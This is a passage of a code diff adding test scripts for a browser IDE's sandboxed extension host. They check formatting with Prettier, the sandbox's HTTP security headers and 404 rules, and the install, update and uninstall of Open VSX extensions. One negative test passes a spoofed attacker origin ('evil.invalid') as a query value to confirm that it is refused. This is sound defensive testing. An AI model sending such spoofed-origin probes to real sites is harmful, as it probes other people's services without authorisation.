136+ok('F5 {"prettier.semi": false} changes the output', await formatsTo(NOSEMI), JSON.stringify(await value()));
137+await host(async () => { const h = await (await import('/js/ide.js')).loadExt(); await h.setSettings('esbenp.prettier-vscode', {}); });
138+await setValue(UGLY);
139+ok('F5 and without it, the semicolons come back', await formatsTo(PRETTY), JSON.stringify(await value()));
140+
141+// ── F6: el formateador de serie para javascript, y vuelta ──
142+await host(async () => { const h = await (await import('/js/ide.js')).loadExt(); await h.setFormatter('esbenp.prettier-vscode', 'javascript', 'builtin'); });
143+await setValue(UGLY);
144+await sleep(500);
145+await formatDoc();
146+ok('F6 "built-in" for javascript: Monaco formats, as with no extension', !!(await until(async () => (await value()) === builtin, { timeout: 8000 })), JSON.stringify(await value()));
147+await host(async () => { const h = await (await import('/js/ide.js')).loadExt(); await h.setFormatter('esbenp.prettier-vscode', 'javascript', 'extension'); });
148+await setValue(UGLY);
149+ok('F6 back to Prettier', await formatsTo(PRETTY), JSON.stringify(await value()));
150+
151+// ── F7: su código apagado y encendido ──
152+await host(async () => { const h = await (await import('/js/ide.js')).loadExt(); await h.setRuns('esbenp.prettier-vscode', false); });
153+const off = await until(() => page.evaluate(() => !document.getElementById('x2-sandbox')), { timeout: 15000 });
154+await setValue(UGLY);
155+await sleep(300);
156+await formatDoc();
157+ok('F7 its code off: the sandbox is gone and the built-in formatter is back', !!off && !!(await until(async () => (await value()) === builtin, { timeout: 8000 })), JSON.stringify(await value()));
158+await host(async () => { const h = await (await import('/js/ide.js')).loadExt(); await h.setRuns('esbenp.prettier-vscode', true, { confirm: async () => true }); });
159+await until(async () => { const s = await bridgeState(); return s.state === 'running' && s.extensions.find(e => e.id === id)?.state === 'active'; }, { timeout: 90000 });
160+await setValue(UGLY);
161+ok('F7 on again: Prettier formats', await formatsTo(PRETTY), JSON.stringify(await value()));
162+
163+// ── F8: carrera con una escritura del agente ──
164+// Para que la carrera sea la que importa (el cambio de la extensión llega a la
165+// página DESPUÉS de que el fichero cambiara), la página se queda ocupada justo
166+// tras pedir el formateo: el recinto (otro sitio, otro proceso) formatea y
167+// manda su cambio mientras tanto, y el agente escribe antes de que la página
168+// lo lea. Sin esa pausa, el propio VS Code del recinto suele tirar el cambio
169+// viejo, que también es seguro pero no prueba la comprobación de la página.
170+await open('big.js');
171+await sleep(500);
172+const agentText = BIG.replace('const v0 =', 'const fromAgent =');
173+await page.evaluate(async t => {
174+ document.getElementById('statusbar').textContent = '';
175+ const bridge = await import('/js/ext2/bridge.js');
176+ window.__race = bridge.runCommand('prettier.forceFormatDocument'); // Prettier, sobre el texto de ahora
177+ const end = Date.now() + 3000;
178+ while (Date.now() < end) { /* la página, ocupada; el recinto, no */ }
179+ window.monaco.editor.getEditors()[0].getModel().setValue(t); // lo que hace una escritura del agente al fichero abierto
180+}, agentText);
181+await page.evaluate(async t => { await (await import('/js/tools/code.js')).write({ path: 'big.js', content: t }); }, agentText);
182+await page.evaluate(() => window.__race);
183+const said = await until(() => page.evaluate(() => { const t = document.getElementById('statusbar').textContent; return /discarded because the file changed meanwhile/.test(t) ? t : null; }), { timeout: 15000 });
184+await sleep(800);
185+ok('F8 the edit Prettier computed on the old text is discarded, and the status bar says so', !!said && (await value()) === agentText, JSON.stringify({ said, v: (await value()).slice(0, 60) }));
186+ok('F8 the agent’s text is in the project', (await readOpfs('big.js')) === agentText);
187+await open('ugly.js');
188+await setValue('const y = {b:2}\n');
189+ok('F8 the next format works', await formatsTo('const y = { b: 2 };\n'), JSON.stringify(await value()));
190+
191+// ── F9: privacidad ──
192+const sbx = [...new Set(srv.requests.filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]))];
193+ok('F9 the sandbox site was asked only for its two documents', sbx.length > 0 && sbx.every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sbx.join(' '));
194+ok('F9 beacon: 0 hits', beacon.hits.length === 0, JSON.stringify(beacon.hits.slice(0, 3)));
195+ok('F9 no page errors', errors.length === 0, errors.slice(0, 3).join(' | '));
196+
197+await browser.close();
198+await beacon.close();
199+await srv.close();
200+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
201+process.exit(fails ? 1 : 0);
added tests/x2_headers.mjs +170 −0
@@ -0,0 +1,170 @@
1+// Headers of the level 2 sandbox, as served. Read-only: only GET requests.
2+//
3+// node tests/x2_headers.mjs
4+// against its own test server (tests/lib/x2-server.mjs)
5+// X2_SANDBOX=https://x2.utopiaia.com X2_CODE=https://code.elffuss.com node tests/x2_headers.mjs
6+// against production, once deploy-sandbox.sh and deploy-vendor.sh ran
7+// (it needs nothing from deploy.sh, so it can check before it too)
8+//
9+// Checks:
10+// H1 both sandbox documents, with their exact query shape: status 200, every
11+// header from sandbox/x2/headers.json with exactly its value, and no
12+// cookie, no reporting endpoint, no CORS header; the body is the
13+// committed document byte for byte;
14+// H2 anything else on the sandbox site is a 404: other paths, the documents
15+// with any other query (an extra parameter, another parent origin, an
16+// upper-case id, none), other methods;
17+// H3 Code's site never serves /x2/;
18+// H4 the vendor files of the committed manifest on Code's site: octet-stream,
19+// immutable for a year, nosniff, never re-compressed, and their SRI holds;
20+// H5 a vendor file that is not there is a 404 that is not cached as
21+// immutable (a cached failure would outlive the upload);
22+// H6 (local only) the generated nginx snippets set the charset the way
23+// headers.json says, and the template's vendor location has no
24+// `always` on Cache-Control.
25+import fs from 'node:fs';
26+import path from 'node:path';
27+import crypto from 'node:crypto';
28+import { fileURLToPath } from 'node:url';
29+import { headersFor, originsFor, loadSpec, DOCS_DIR } from '../sandbox/x2/headers.mjs';
30+import { startServer } from './lib/x2-server.mjs';
31+
32+const HERE = path.dirname(fileURLToPath(import.meta.url));
33+let fails = 0;
34+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
35+
36+const remote = !!process.env.X2_SANDBOX;
37+let srv = null, code, sandbox, origins;
38+if (remote) {
39+ sandbox = new URL(process.env.X2_SANDBOX).origin;
40+ code = new URL(process.env.X2_CODE || loadSpec().environments.production.code[0]).origin;
41+ origins = { code: loadSpec().environments.production.code, sandbox };
42+} else {
43+ srv = await startServer();
44+ code = srv.codeOrigin;
45+ sandbox = srv.sandboxOrigin;
46+ origins = originsFor('dev', { port: srv.port });
47+}
48+console.log(`Code ${code} · sandbox ${sandbox}`);
49+
50+const get = (url, opts = {}) => fetch(url, { redirect: 'manual', cache: 'no-store', ...opts });
51+const uuid = () => crypto.randomUUID();
52+const exthostQuery = (parent = sandbox, id = uuid()) => `?parentOrigin=${encodeURIComponent(parent)}&vscodeWebWorkerExtHostId=${id}`;
53+const spec = loadSpec();
54+const DOC = name => spec.documents[name].path;
55+
56+// ── H1: los dos documentos ──
57+for (const [name, query] of [['sandbox.html', ''], ['exthost-iframe.html', exthostQuery()]]) {
58+ const r = await get(sandbox + DOC(name) + query);
59+ const body = Buffer.from(await r.arrayBuffer());
60+ ok(`H1 ${name}: 200`, r.status === 200, String(r.status));
61+ const want = headersFor(name, origins);
62+ const wrong = Object.entries(want).filter(([k, v]) => r.headers.get(k) !== v).map(([k, v]) => `${k}: got ${JSON.stringify(r.headers.get(k))}, want ${JSON.stringify(v.slice(0, 80))}…`);
63+ ok(`H1 ${name}: every header from headers.json, with exactly its value (${Object.keys(want).length})`, !wrong.length, wrong.slice(0, 3).join(' | '));
64+ const csp = r.headers.get('content-security-policy') || '';
65+ const fa = /frame-ancestors ([^;]*)/.exec(csp)?.[1].split(/\s+/) || [];
66+ const wantFa = name === 'exthost-iframe.html' ? ["'self'", ...origins.code] : origins.code;
67+ ok(`H1 ${name}: framed only by ${name === 'exthost-iframe.html' ? 'the sandbox and ' : ''}Code`, JSON.stringify(fa) === JSON.stringify(wantFa), fa.join(' '));
68+ const extra = ['set-cookie', 'report-to', 'reporting-endpoints', 'nel', 'access-control-allow-origin', 'content-security-policy-report-only'].filter(k => r.headers.has(k));
69+ ok(`H1 ${name}: no cookie, no reporting endpoint, no CORS`, !extra.length && !/report-(uri|to)/.test(csp), extra.join(' '));
70+ const committed = fs.readFileSync(path.join(DOCS_DIR, name));
71+ ok(`H1 ${name}: the committed document, byte for byte`, body.equals(committed), `${body.length} vs ${committed.length} bytes`);
72+}
73+
74+// ── H2: nada más en el sitio del recinto ──
75+const goodId = uuid();
76+const notFound = [
77+ ['/', ''], ['/x2/', ''], ['/x2/v1/', ''], ['/x2/v1/other.html', ''], ['/x2/v2/sandbox.html', ''], ['/X2/v1/sandbox.html', ''],
78+ ['/x2/v1/sandbox.html/', ''], ['/index.html', ''], ['/js/main.js', ''], ['/robots.txt', ''],
79+ [DOC('sandbox.html'), '?x=1'], [DOC('sandbox.html'), '?parentOrigin=' + encodeURIComponent(sandbox)],
80+ [DOC('exthost-iframe.html'), ''],
81+ [DOC('exthost-iframe.html'), exthostQuery(sandbox, goodId) + '&x=1'],
82+ [DOC('exthost-iframe.html'), exthostQuery(code, goodId)],
83+ [DOC('exthost-iframe.html'), exthostQuery('https://evil.invalid', goodId)],
84+ [DOC('exthost-iframe.html'), exthostQuery(sandbox, goodId.toUpperCase())],
85+ [DOC('exthost-iframe.html'), exthostQuery(sandbox, 'not-a-uuid')],
86+ [DOC('exthost-iframe.html'), `?vscodeWebWorkerExtHostId=${goodId}&parentOrigin=${encodeURIComponent(sandbox)}`],
87+];
88+const manifest = JSON.parse(fs.readFileSync(path.join(HERE, '../web/js/ext2/vendor-manifest.json'), 'utf8'));
89+notFound.push([`/vendor/x2/${manifest.buildId}/${manifest.files[0].name}.gz`, '']);
90+const served = [];
91+for (const [p, q] of notFound) {
92+ const r = await get(sandbox + p + q);
93+ await r.arrayBuffer().catch(() => {});
94+ if (r.status !== 404) served.push(`${p}${q.slice(0, 40)} → ${r.status}`);
95+}
96+ok(`H2 on the sandbox site everything else is a 404 (${notFound.length} paths and query shapes)`, !served.length, served.slice(0, 4).join(' | '));
97+const methods = [];
98+for (const m of ['POST', 'PUT', 'DELETE']) {
99+ const r = await get(sandbox + DOC('sandbox.html'), { method: m, body: m === 'DELETE' ? undefined : 'x' });
100+ await r.arrayBuffer().catch(() => {});
101+ if (r.status !== 404 && r.status !== 405) methods.push(`${m} → ${r.status}`);
102+}
103+ok('H2 other methods are refused (404 or 405)', !methods.length, methods.join(' | '));
104+
105+// ── H3: el sitio de Code no sirve /x2/ ──
106+const fromCode = [];
107+for (const [p, q] of [[DOC('sandbox.html'), ''], [DOC('exthost-iframe.html'), exthostQuery()], ['/x2/', '']]) {
108+ const r = await get(code + p + q);
109+ await r.arrayBuffer().catch(() => {});
110+ if (r.status !== 404) fromCode.push(`${p} → ${r.status}`);
111+}
112+ok('H3 Code’s site never serves /x2/', !fromCode.length, fromCode.join(' | '));
113+
114+// ── H4: el bundle en el sitio de Code ──
115+const local = path.join(HERE, '../web/vendor/x2', manifest.buildId);
116+if (!remote && !fs.existsSync(local)) {
117+ console.log(`⏭️ NOT RUN H4 — web/vendor/x2/${manifest.buildId} is not built here (vendor/vscode-ext2/build.mjs)`);
118+} else {
119+ for (const f of manifest.files) {
120+ const r = await get(`${code}/vendor/x2/${manifest.buildId}/${f.name}.gz`, { headers: { 'Accept-Encoding': 'gzip, br' } });
121+ const body = Buffer.from(await r.arrayBuffer());
122+ const sri = 'sha256-' + crypto.createHash('sha256').update(body).digest('base64');
123+ const h = k => r.headers.get(k) || '';
124+ const problems = [];
125+ if (r.status !== 200) problems.push('status ' + r.status);
126+ if (h('content-type') !== 'application/octet-stream') problems.push('type ' + h('content-type'));
127+ if (!/max-age=31536000/.test(h('cache-control')) || !/immutable/.test(h('cache-control'))) problems.push('cache ' + h('cache-control'));
128+ if (h('x-content-type-options') !== 'nosniff') problems.push('no nosniff');
129+ if (r.headers.has('content-encoding')) problems.push('re-compressed: ' + h('content-encoding'));
130+ if (sri !== f.sriGz) problems.push('SRI does not match the manifest');
131+ if (body.length !== f.gz) problems.push(`${body.length} bytes, manifest says ${f.gz}`);
132+ ok(`H4 ${f.name}.gz: octet-stream, immutable, nosniff, not re-compressed, SRI as in the manifest`, !problems.length, problems.join(' | '));
133+ }
134+}
135+
136+// ── H5: un fichero del bundle que no está es un 404 que NO se guarda un año ──
137+// (con «always» en el Cache-Control de nginx, el fallo quedaría en la caché
138+// del navegador como inmutable, y el buildId es un hash: subir luego los
139+// mismos bytes no lo arreglaría)
140+{
141+ const r = await get(`${code}/vendor/x2/ffffffffffffffff/sandbox-main.js.gz`);
142+ await r.arrayBuffer().catch(() => {});
143+ const cc = r.headers.get('cache-control') || '';
144+ ok('H5 a missing vendor file: 404, and not cached as immutable', r.status === 404 && !/immutable|max-age=[1-9]/.test(cc), `${r.status} cache-control: ${JSON.stringify(cc)}`);
145+}
146+
147+// ── H6: lo que se genera para nginx dice lo mismo que headers.json ──
148+if (!remote) {
149+ const { nginx } = await import('../sandbox/x2/headers.mjs');
150+ const conf = nginx('https://x2.sandbox.example');
151+ ok('H6 the nginx snippets set the charset (charset utf-8;), not default_type, and every header with always',
152+ (conf.match(/^charset utf-8;$/gm) || []).length === 2 && !/default_type/.test(conf) && (conf.match(/^add_header /gm) || []).every(Boolean)
153+ && (conf.match(/^add_header .* always;$/gm) || []).length === (conf.match(/^add_header /gm) || []).length, conf.slice(0, 200));
154+ const example = fs.readFileSync(path.join(HERE, '../sandbox/x2/nginx.conf.example'), 'utf8');
155+ const vendorBlock = /location \^~ \/vendor\/x2\/ \{[\s\S]*?\}/.exec(example)?.[0] || '';
156+ ok('H6 the template for Code’s vendor location adds Cache-Control only to successful responses (no always)',
157+ /add_header Cache-Control "public, max-age=31536000, immutable";/.test(vendorBlock) && !/Cache-Control[^\n]*always/.test(vendorBlock), vendorBlock.replace(/\s+/g, ' ').slice(0, 200));
158+ // el vhost del recinto nombra el mismo host que headers.json (y config.js)
159+ const prodHost = new URL(spec.environments.production.sandbox).hostname;
160+ const esc = prodHost.replace(/\./g, '\\.');
161+ const names = [...example.matchAll(/^\s*server_name ([^;]+);/gm)].map(m => m[1]);
162+ ok(`H6 the sandbox vhost of the template is ${prodHost}: server name, certificate, folder and the extension-host query`,
163+ names.length === 2 && names.every(n => n === prodHost)
164+ && example.includes(`/etc/letsencrypt/live/${prodHost}/fullchain.pem`) && example.includes(`root /var/www/${prodHost};`)
165+ && example.includes(`parentOrigin=https%3A%2F%2F${esc}&vscodeWebWorkerExtHostId=`), JSON.stringify(names));
166+}
167+
168+await srv?.close();
169+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
170+process.exit(fails ? 1 : 0);
added tests/x2_lifecycle.mjs +294 −0
@@ -0,0 +1,294 @@
1+// Life of real web extensions in Code, against the live Open VSX.
2+//
3+// node tests/x2_lifecycle.mjs
4+// needs the network; offline (or X2_OFFLINE=1) it is NOT RUN, and
5+// tests/x2_manager.mjs runs the same panel flows on the cached packages
6+//
7+// Everything goes through the Extensions panel and Code's own requests to
8+// open-vsx.org (metadata, the published SHA-256, the .vsix). Only the search
9+// listing is pinned, so the versions under test stay fixed: Tyriar.sort-lines
10+// 1.9.1 and 1.12.0, esbenp.prettier-vscode 12.3.0 and 12.4.0.
11+//
12+// L0 sort-lines 1.9.1 declares a browser entry its package does not
13+// contain: running its code is refused, and nothing is left installed
14+// L1 sort-lines 1.12.0, search and detail: what will work, before installing
15+// L2 "Install and run its code…": Cancel downloads nothing
16+// L3 accept: Code's page downloads it, checks the published SHA-256
17+// (pinned too) and starts its code
18+// L4 its command runs from the panel and sorts the open file
19+// L5 code off and on again without a reload
20+// L6 Prettier 12.3.0 the same way; Format Document uses it
21+// L7 update to 12.4.0 from the result row: still with its code, still on,
22+// with the pinned SHA-256, the old version's files gone, and it formats
23+// L8 disabling the extension stops its code (the built-in formatter is
24+// back); enabling it brings Prettier back
25+// L9 after a reload both are back, running, with what they did
26+// L10 uninstall both: no files left in IndexedDB, no sandbox, nothing in kv
27+// L11 only Code's page talked to Open VSX; the sandbox site was asked only
28+// for its two documents; no page errors
29+import { chromium } from 'playwright';
30+import { startServer } from './lib/x2-server.mjs';
31+import { PINNED, fetchVsix } from './lib/x2-vsix.mjs';
32+
33+let fails = 0;
34+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
35+const sleep = ms => new Promise(r => setTimeout(r, ms));
36+async function until(fn, { timeout = 30000, every = 200 } = {}) {
37+ const end = Date.now() + timeout;
38+ let v;
39+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
40+ return v;
41+}
42+const API = 'https://open-vsx.org';
43+
44+// ── ¿hay Open VSX? ──
45+const live = {};
46+try {
47+ if (process.env.X2_OFFLINE === '1') throw new Error('X2_OFFLINE=1');
48+ for (const [ns, name, v] of [['Tyriar', 'sort-lines', '1.9.1'], ['Tyriar', 'sort-lines', '1.12.0'], ['esbenp', 'prettier-vscode', '12.3.0'], ['esbenp', 'prettier-vscode', '12.4.0']]) {
49+ const r = await fetch(`${API}/api/${ns}/${name}/${v}`, { signal: AbortSignal.timeout(20000), headers: { 'User-Agent': 'elffuss-code-tests' } });
50+ if (!r.ok) throw new Error(`${ns}.${name}@${v}: HTTP ${r.status}`);
51+ const j = await r.json();
52+ if (!j.files?.download || !j.files?.sha256) throw new Error(`${ns}.${name}@${v}: no download or no published SHA-256`);
53+ live[`${ns}.${name}@${v}`.toLowerCase()] = j;
54+ }
55+} catch (e) {
56+ console.log(`⏭️ NOT RUN x2_lifecycle — Open VSX not reachable (${e.message}); tests/x2_manager.mjs runs these flows on the cached packages`);
57+ process.exit(0);
58+}
59+const pinnedSha = Object.fromEntries(PINNED.map(p => [`${p.namespace}.${p.name}@${p.version}`.toLowerCase(), p.sha256]));
60+
61+const srv = await startServer();
62+const browser = await chromium.launch();
63+const ctx = await browser.newContext({ viewport: { width: 1280, height: 860 } });
64+await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
65+// solo la lista de la búsqueda va fijada; lo demás sale a Open VSX de verdad
66+let sortVersion = '1.9.1', prettierVersion = '12.3.0';
67+const listing = () => [
68+ { namespace: 'Tyriar', name: 'sort-lines', version: sortVersion, displayName: 'Sort lines', description: 'Sorts lines of text', downloadCount: 1000, verified: true, files: {} },
69+ { namespace: 'esbenp', name: 'prettier-vscode', version: prettierVersion, displayName: 'Prettier - Code formatter', description: 'Code formatter using prettier', downloadCount: 1000, verified: true, files: {} },
70+];
71+await ctx.route(`${API}/api/-/search**`, route => {
72+ const q = (new URL(route.request().url()).searchParams.get('query') || '').toLowerCase();
73+ const hits = listing().filter(x => !q || `${x.namespace} ${x.name} ${x.displayName}`.toLowerCase().includes(q));
74+ return route.fulfill({ status: 200, headers: { 'access-control-allow-origin': '*', 'content-type': 'application/json' }, body: JSON.stringify({ totalSize: hits.length, offset: 0, extensions: hits }) });
75+});
76+const page = await ctx.newPage();
77+const errors = [];
78+page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(e.message); });
79+page.on('dialog', d => d.accept()); // confirmar desinstalar
80+const outside = []; // peticiones fuera de Code y del CDN de Monaco
81+ctx.on('request', r => {
82+ let u;
83+ try { u = new URL(r.url()); } catch { return; }
84+ if (!/^https?:$/.test(u.protocol) || u.hostname === '127.0.0.1' || u.hostname === 'localhost' || u.hostname === 'cdn.jsdelivr.net') return;
85+ let frame = '';
86+ let parent = '';
87+ try { frame = r.frame()?.url() || ''; parent = r.frame()?.parentFrame()?.url() || ''; } catch { frame = '(worker)'; }
88+ outside.push({ url: u.origin + u.pathname, frame, parent, method: r.method() });
89+});
90+
91+await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
92+await page.evaluate(async () => {
93+ const o = await navigator.storage.getDirectory();
94+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
95+ await w('fruits.txt', 'pear\napple\nfig\n');
96+ await w('ugly.js', 'const x = {a:1,b:[1,2,3]}\n');
97+});
98+const openIde = async () => {
99+ await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
100+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
101+};
102+await openIde();
103+const open = p => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
104+const value = () => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue());
105+const setValue = v => page.evaluate(v => window.monaco.editor.getEditors()[0].getModel().setValue(v), v);
106+const selectAll = () => page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; const m = ed.getModel(); ed.setSelection(m.getFullModelRange()); });
107+const formatDoc = () => page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
108+const panel = async () => { await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); }); await until(() => page.evaluate(() => !document.getElementById('settings-panel').hidden && !!document.getElementById('ext-panel'))); };
109+const row = id => page.locator(`#ext-results .ext-row[data-id="${id}"]`);
110+const installed = id => page.locator(`#ext-installed .ext-row[data-id="${id}"]`);
111+const search = async q => { await page.fill('#ext-q', q); await page.press('#ext-q', 'Enter'); };
112+const codeState = id => page.evaluate(id => document.querySelector(`#ext-installed .ext-row[data-id="${id}"] .ext-x2-state`)?.textContent || null, id);
113+const record = id => page.evaluate(async id => { const h = await (await import('/js/ide.js')).loadExt(); const r = h.list().find(e => e.id === id); return r ? { version: r.version, verified: r.verified, sha256: r.sha256, code: !!r.code, runs: !!r.runs, enabled: r.enabled } : null; }, id);
114+const idbKeys = prefix => page.evaluate(prefix => new Promise((res, rej) => {
115+ const r = indexedDB.open('elffuss-code-ext', 1);
116+ r.onsuccess = () => { const q = r.result.transaction('files').objectStore('files').getAllKeys(); q.onsuccess = () => { res(q.result.filter(k => String(k).startsWith(prefix)).length); r.result.close(); }; q.onerror = () => rej(q.error); };
117+ r.onerror = () => rej(r.error);
118+}), prefix);
119+const READY = s => s === 'running' || s === 'ready (starts when first used)';
120+// (un HEAD solo mira lo que pesa, para el consentimiento: no es una descarga)
121+const downloads = () => outside.filter(o => /\.vsix$/.test(o.url) && o.method !== 'HEAD').map(o => o.url.split('/').pop());
122+const sizeLookups = () => outside.filter(o => /\.vsix$/.test(o.url) && o.method === 'HEAD').map(o => o.url.split('/').pop());
123+const SORT = 'tyriar.sort-lines', PRETTIER = 'esbenp.prettier-vscode';
124+async function sortFromPanel(text, want) {
125+ await open('fruits.txt');
126+ await setValue(text);
127+ await selectAll();
128+ await panel();
129+ await installed(SORT).locator('[data-k="cmd:sortLines.sortLines"]').click();
130+ return until(async () => (await value()) === want);
131+}
132+async function formatsTo(want, tries = 20) {
133+ for (let i = 0; i < tries; i++) {
134+ await formatDoc();
135+ if (await until(async () => (await value()) === want, { timeout: 1500 })) return true;
136+ }
137+ return false;
138+}
139+
140+// ── L0: una versión cuyo paquete no trae su entrada para el navegador ──
141+await panel();
142+await search('sort-lines');
143+await until(async () => (await row('Tyriar.sort-lines').count()) === 1);
144+await row('Tyriar.sort-lines').locator('.ext-name').click();
145+await until(async () => (await row('Tyriar.sort-lines').locator('.ext-install-code').count()) === 1);
146+await row('Tyriar.sort-lines').locator('.ext-install-code').click();
147+await until(() => page.evaluate(() => !!document.querySelector('#x2-consent')));
148+await page.click('#x2-consent button:has-text("Install and run code")');
149+const refused = await until(async () => { const t = await page.textContent('#ext-msg'); return /browser entry is not in the package/i.test(t) ? t : null; }, { timeout: 120000 });
150+ok('L0 sort-lines 1.9.1 declares a browser entry its package lacks: its code is refused, nothing is installed', !!refused && !(await record(SORT)) && (await idbKeys(SORT + '@')) === 0, String(refused || await page.textContent('#ext-msg')));
151+
152+// ── L1 ──
153+sortVersion = '1.12.0';
154+await openIde();
155+await panel();
156+await search('sort-lines');
157+await until(async () => (await row('Tyriar.sort-lines').count()) === 1);
158+await row('Tyriar.sort-lines').locator('.ext-name').click();
159+const det = await until(async () => { const t = await row('Tyriar.sort-lines').locator('.ext-detail').innerText(); return /Runs in Code’s sandbox/.test(t) ? t : null; });
160+ok('L1 the detail says what will work, before installing', !!det && /No internet; sees only the files you open/.test(det), det);
161+
162+// ── L2 ──
163+const before = downloads().length;
164+await row('Tyriar.sort-lines').locator('.ext-install-code').click();
165+const consentText = await until(() => page.evaluate(() => document.querySelector('#x2-consent [role="dialog"]')?.textContent || null));
166+await page.keyboard.press('Escape');
167+await sleep(800);
168+ok('L2 Cancel in the consent dialog: nothing downloaded, nothing installed', downloads().length === before && !(await record(SORT)), JSON.stringify(downloads()));
169+// (aquí la petición HEAD pasa por la intercepción de Playwright, que fija la
170+// búsqueda, y Open VSX le contesta 403: el diálogo dice entonces que la baja al
171+// aceptar. Sin intercepción, como en un navegador de verdad, se ve abajo, L2b)
172+ok('L2 …the dialog opened at once and asked Open VSX for its size (a HEAD request), before anything was downloaded', sizeLookups().includes('Tyriar.sort-lines-1.12.0.vsix')
173+ && /This extension: (checking its size|\d+\.\d MB|downloaded from Open VSX when you accept)/.test(consentText || ''), JSON.stringify({ heads: sizeLookups(), text: String(consentText).slice(-160) }));
174+{
175+ const ctx2 = await browser.newContext();
176+ await ctx2.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
177+ const p2 = await ctx2.newPage();
178+ await p2.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
179+ const size = await p2.evaluate(async () => {
180+ const ovsx = await import('/js/ext/openvsx.js');
181+ return (await import('/js/ext2/manage.js')).downloadSize(await ovsx.metadata('Tyriar', 'sort-lines', '1.12.0'));
182+ }).catch(e => String(e.message || e));
183+ const pinned = PINNED.find(x => x.name === 'sort-lines');
184+ const want = (await fetchVsix({ ...pinned, offline: true }).catch(() => null))?.bytes?.length;
185+ ok('L2b in a browser without interception, the size the consent shows comes from Open VSX itself (HEAD) and is the pinned package’s', !!want && size === want, JSON.stringify({ size, want }));
186+ await ctx2.close();
187+}
188+
189+// ── L3 ──
190+await row('Tyriar.sort-lines').locator('.ext-install-code').click();
191+await until(() => page.evaluate(() => !!document.querySelector('#x2-consent')));
192+await page.click('#x2-consent button:has-text("Install and run code")');
193+const st1 = await until(async () => { const s = await codeState(SORT); return READY(s) ? s : null; }, { timeout: 120000 });
194+const r1 = await record(SORT);
195+ok('L3 accepted: Code downloaded 1.12.0 from Open VSX, checked the published SHA-256 (the pinned one) and runs its code', !!st1 && r1?.version === '1.12.0' && r1.verified && r1.code && r1.runs
196+ && r1.sha256 === pinnedSha['tyriar.sort-lines@1.12.0'] && downloads().includes('Tyriar.sort-lines-1.12.0.vsix') && outside.some(o => o.url.endsWith('Tyriar.sort-lines-1.12.0.sha256')), JSON.stringify({ st1, r1, d: downloads() }));
197+
198+// ── L4 ──
199+ok('L4 its command runs from the panel and sorts the open file', !!(await sortFromPanel('pear\napple\nfig', 'apple\nfig\npear')), JSON.stringify(await value()));
200+
201+// ── L5: apagar y encender su código ──
202+await panel();
203+await installed(SORT).locator('[data-k="x2run"]').click();
204+ok('L5 code off: the extension stays installed, the sandbox goes away', !!(await until(async () => (await codeState(SORT)) === 'off'))
205+ && !!(await until(() => page.evaluate(() => !document.getElementById('x2-sandbox')))));
206+await installed(SORT).locator('[data-k="x2run"]').click();
207+ok('L5 code on again, no reload and no second consent (the runtime is cached)', !!(await until(async () => READY(await codeState(SORT)), { timeout: 60000 }))
208+ && !(await page.evaluate(() => !!document.querySelector('#x2-consent'))));
209+ok('L5 …and the command works', !!(await sortFromPanel('d\nc', 'c\nd')), JSON.stringify(await value()));
210+
211+// ── L6: Prettier 12.3.0 ──
212+await panel();
213+await search('prettier');
214+await until(async () => (await row('esbenp.prettier-vscode').count()) === 1);
215+await row('esbenp.prettier-vscode').locator('.ext-name').click();
216+await until(async () => (await row('esbenp.prettier-vscode').locator('.ext-install-code').count()) === 1);
217+await row('esbenp.prettier-vscode').locator('.ext-install-code').click();
218+await until(() => page.evaluate(() => !!document.querySelector('#x2-consent')));
219+await page.click('#x2-consent button:has-text("Install and run code")');
220+await until(async () => (await codeState(PRETTIER)) === 'running', { timeout: 120000 });
221+const r3 = await record(PRETTIER);
222+ok('L6 Prettier 12.3.0 installed with its code, the published SHA-256 checked', r3?.version === '12.3.0' && r3.verified && r3.code && r3.runs, JSON.stringify(r3));
223+await open('ugly.js');
224+await setValue('const x = {a:1,b:[1,2,3]}\n');
225+ok('L6 Format Document uses Prettier', await formatsTo('const x = { a: 1, b: [1, 2, 3] };\n'), JSON.stringify(await value()));
226+
227+// ── L7: actualizar a 12.4.0 ──
228+prettierVersion = '12.4.0';
229+await panel();
230+await search('prettier');
231+const upd = row('esbenp.prettier-vscode').locator('.ext-install');
232+await until(async () => /Update to 12\.4\.0/.test(await upd.textContent()));
233+await upd.click();
234+const r4 = await until(async () => { const r = await record(PRETTIER); return r?.version === '12.4.0' ? r : null; }, { timeout: 120000 });
235+ok('L7 updated to 12.4.0 with its code, still on, with the pinned SHA-256', !!r4 && r4.verified && r4.code && r4.runs && r4.sha256 === pinnedSha['esbenp.prettier-vscode@12.4.0'], JSON.stringify(r4));
236+ok('L7 the old version’s files are gone', (await idbKeys(PRETTIER + '@12.3.0/')) === 0);
237+await until(async () => (await codeState(PRETTIER)) === 'running', { timeout: 60000 });
238+await open('ugly.js');
239+await setValue('const z = {c:3}\n');
